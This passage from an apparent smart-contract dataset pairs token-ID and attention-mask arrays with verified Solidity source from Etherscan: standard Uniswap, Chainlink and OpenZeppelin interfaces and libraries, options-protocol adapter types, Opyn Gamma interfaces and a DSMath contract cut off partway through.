17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
1035,
2275,
12384,
2121,
1006,
4769,
1006,
1014,
1007,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
15210,
6095,
1997,
1996,
3206,
2000,
1037,
2047,
4070,
1006,
1036,
2047,
12384,
2121,
1036,
1007,
1012,
1008,
2064,
2069,
2022,
2170,
2011,
1996,
2783,
3954,
1012,
1008,
1013,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2270,
7484,
2069,
12384,
2121,
1063,
5478,
1006,
2047,
12384,
2121,
999,
1027,
4769,
1006,
1014,
1007,
1010,
1000,
2219,
3085,
1024,
2047,
3954,
2003,
1996,
5717,
4769,
1000,
1007,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-03-31
*/
pragma solidity >=0.7.2;
pragma experimental ABIEncoderV2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
// getRoundData and latestRoundData should both raise "No data present"
// if they do not have data to report, instead of returning unset values
// which could be misinterpreted as actual reported values.
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
//
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library ProtocolAdapterTypes {
enum OptionType {Invalid, Put, Call}
// We have 2 types of purchase methods so far - by contract and by 0x.
// Contract is simple because it involves just specifying the option terms you want to buy.
// ZeroEx involves an off-chain API call which prepares a ZeroExOrder object to be passed into the tx.
enum PurchaseMethod {Invalid, Contract, ZeroEx}
/**
* @notice Terms of an options contract
* @param underlying is the underlying asset of the options. E.g. For ETH $800 CALL, ETH is the underlying.
* @param strikeAsset is the asset used to denote the asset paid out when exercising the option. E.g. For ETH $800 CALL, USDC is the underlying.
* @param collateralAsset is the asset used to collateralize a short position for the option.
* @param expiry is the expiry of the option contract. Users can only exercise after expiry in Europeans.
* @param strikePrice is the strike price of an optio contract. E.g. For ETH $800 CALL, 800*10**18 is the USDC.
* @param optionType is the type of option, can only be OptionType.Call or OptionType.Put
* @param paymentToken is the token used to purchase the option. E.g. Buy UNI/USDC CALL with WETH as the paymentToken.
*/
struct OptionTerms {
address underlying;
address strikeAsset;
address collateralAsset;
uint256 expiry;
uint256 strikePrice;
ProtocolAdapterTypes.OptionType optionType;
address paymentToken;
}
/**
* @notice 0x order for purchasing otokens
* @param exchangeAddress [deprecated] is the address we call to conduct a 0x trade. Slither flagged this as a potential vulnerability so we hardcoded it.
* @param buyTokenAddress is the otoken address
* @param sellTokenAddress is the token used to purchase USDC. This is USDC most of the time.
* @param allowanceTarget is the address the adapter needs to provide sellToken allowance to so the swap happens
* @param protocolFee is the fee paid (in ETH) when conducting the trade
* @param makerAssetAmount is the buyToken amount
* @param takerAssetAmount is the sellToken amount
* @param swapData is the encoded msg.data passed by the 0x api response
*/
struct ZeroExOrder {
address exchangeAddress;
address buyTokenAddress;
address sellTokenAddress;
address allowanceTarget;
uint256 protocolFee;
uint256 makerAssetAmount;
uint256 takerAssetAmount;
bytes swapData;
}
}
interface IProtocolAdapter {
/**
* @notice Emitted when a new option contract is purchased
*/
event Purchased(
address indexed caller,
string indexed protocolName,
address indexed underlying,
uint256 amount,
uint256 optionID
);
/**
* @notice Emitted when an option contract is exercised
*/
event Exercised(
address indexed caller,
address indexed options,
uint256 indexed optionID,
uint256 amount,
uint256 exerciseProfit
);
/**
* @notice Name of the adapter. E.g. "HEGIC", "OPYN_V1". Used as index key for adapter addresses
*/
function protocolName() external pure returns (string memory);
/**
* @notice Boolean flag to indicate whether to use option IDs or not.
* Fungible protocols normally use tokens to represent option contracts.
*/
function nonFungible() external pure returns (bool);
/**
* @notice Returns the purchase method used to purchase options
*/
function purchaseMethod()
external
pure
returns (ProtocolAdapterTypes.PurchaseMethod);
/**
* @notice Check if an options contract exist based on the passed parameters.
* @param optionTerms is the terms of the option contract
*/
function optionsExist(ProtocolAdapterTypes.OptionTerms calldata optionTerms)
external
view
returns (bool);
/**
* @notice Get the options contract's address based on the passed parameters
* @param optionTerms is the terms of the option contract
*/
function getOptionsAddress(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external view returns (address);
/**
* @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms.
* @param optionTerms is the terms of the option contract
* @param purchaseAmount is the number of options purchased
*/
function premium(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 purchaseAmount
) external view returns (uint256 cost);
/**
* @notice Amount of profit made from exercising an option contract (current price - strike price). 0 if exercising out-the-money.
* @param options is the address of the options contract
* @param optionID is the ID of the option position in non fungible protocols like Hegic.
* @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn
*/
function exerciseProfit(
address options,
uint256 optionID,
uint256 amount
) external view returns (uint256 profit);
function canExercise(
address options,
uint256 optionID,
uint256 amount
) external view returns (bool);
/**
* @notice Purchases the options contract.
* @param optionTerms is the terms of the option contract
* @param amount is the purchase amount in Wad units (10**18)
*/
function purchase(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount,
uint256 maxCost
) external payable returns (uint256 optionID);
/**
* @notice Exercises the options contract.
* @param options is the address of the options contract
* @param optionID is the ID of the option position in non fungible protocols like Hegic.
* @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn
* @param recipient is the account that receives the exercised profits. This is needed since the adapter holds all the positions and the msg.sender is an instrument contract.
*/
function exercise(
address options,
uint256 optionID,
uint256 amount,
address recipient
) external payable;
/**
* @notice Opens a short position for a given `optionTerms`.
* @param optionTerms is the terms of the option contract
* @param amount is the short position amount
*/
function createShort(
ProtocolAdapterTypes.OptionTerms calldata optionTerms,
uint256 amount
) external returns (uint256);
/**
* @notice Closes an existing short position. In the future, we may want to open this up to specifying a particular short position to close.
*/
function closeShort() external returns (uint256);
}
library GammaTypes {
// vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults.
struct Vault {
// addresses of oTokens a user has shorted (i.e. written) against this vault
address[] shortOtokens;
// addresses of oTokens a user has bought and deposited in this vault
// user can be long oTokens without opening a vault (e.g. by buying on a DEX)
// generally, long oTokens will be 'deposited' in vaults to act as collateral in order to write oTokens against (i.e. in spreads)
address[] longOtokens;
// addresses of other ERC-20s a user has deposited as collateral in this vault
address[] collateralAssets;
// quantity of oTokens minted/written for each oToken address in shortOtokens
uint256[] shortAmounts;
// quantity of oTokens owned and held in the vault for each oToken address in longOtokens
uint256[] longAmounts;
// quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets
uint256[] collateralAmounts;
}
}
interface OtokenInterface {
function addressBook() external view returns (address);
function underlyingAsset() external view returns (address);
function strikeAsset() external view returns (address);
function collateralAsset() external view returns (address);
function strikePrice() external view returns (uint256);
function expiryTimestamp() external view returns (uint256);
function isPut() external view returns (bool);
function init(
address _addressBook,
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external;
function mintOtoken(address account, uint256 amount) external;
function burnOtoken(address account, uint256 amount) external;
}
interface IOtokenFactory {
event OtokenCreated(
address tokenAddress,
address creator,
address indexed underlying,
address indexed strike,
address indexed collateral,
uint256 strikePrice,
uint256 expiry,
bool isPut
);
function oTokens(uint256 index) external returns (address);
function getOtokensLength() external view returns (uint256);
function getOtoken(
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external view returns (address);
function createOtoken(
address _underlyingAsset,
address _strikeAsset,
address _collateralAsset,
uint256 _strikePrice,
uint256 _expiry,
bool _isPut
) external returns (address);
}
interface IController {
// possible actions that can be performed
enum ActionType {
OpenVault,
MintShortOption,
BurnShortOption,
DepositLongOption,
WithdrawLongOption,
DepositCollateral,
WithdrawCollateral,
SettleVault,
Redeem,
Call
}
struct ActionArgs {
// type of action that is being performed on the system
ActionType actionType;
// address of the account owner
address owner;
// address which we move assets from or to (depending on the action type)
address secondAddress;
// asset that is to be transfered
address asset;
// index of the vault that is to be modified (if any)
uint256 vaultId;
// amount of asset that is to be transfered
uint256 amount;
// each vault can hold multiple short / long / collateral assets but we are restricting the scope to only 1 of each in this version
// in future versions this would be the index of the short / long / collateral asset that needs to be modified
uint256 index;
// any other data that needs to be passed in for arbitrary function calls
bytes data;
}
struct RedeemArgs {
// address to which we pay out the oToken proceeds
address receiver;
// oToken that is to be redeemed
address otoken;
// amount of oTokens that is to be redeemed
uint256 amount;
}
function getPayout(address _otoken, uint256 _amount)
external
view
returns (uint256);
function operate(ActionArgs[] calldata _actions) external;
function getAccountVaultCounter(address owner)
external
view
returns (uint256);
function oracle() external view returns (address);
function getVault(address _owner, uint256 _vaultId)
external
view
returns (GammaTypes.Vault memory);
function getProceed(address _owner, uint256 _vaultId)
external
view
returns (uint256);
function isSettlementAllowed(
address _underlying,
address _strike,
address _collateral,
uint256 _expiry
) external view returns (bool);
}
interface OracleInterface {
function isLockingPeriodOver(address _asset, uint256 _expiryTimestamp)
external
view
returns (bool);
function isDisputePeriodOver(address _asset, uint256 _expiryTimestamp)
external
view
returns (bool);
function getExpiryPrice(address _asset, uint256 _expiryTimestamp)
external
view
returns (uint256, bool);
function getDisputer() external view returns (address);
function getPricer(address _asset) external view returns (address);
function getPrice(address _asset) external view returns (uint256);
function getPricerLockingPeriod(address _pricer)
external
view
returns (uint256);
function getPricerDisputePeriod(address _pricer)
external
view
returns (uint256);
// Non-view function
function setAssetPricer(address _asset, address _pricer) external;
function setLockingPeriod(address _pricer, uint256 _lockingPeriod) external;
function setDisputePeriod(address _pricer, uint256 _disputePeriod) external;
function setExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function disputeExpiryPrice(
address _asset,
uint256 _expiryTimestamp,
uint256 _price
) external;
function setDisputer(address _disputer) external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
//rounds to zero if x*y < WAD / 2
function wmul(uint x, uint y) internal pure returns (uint z) {
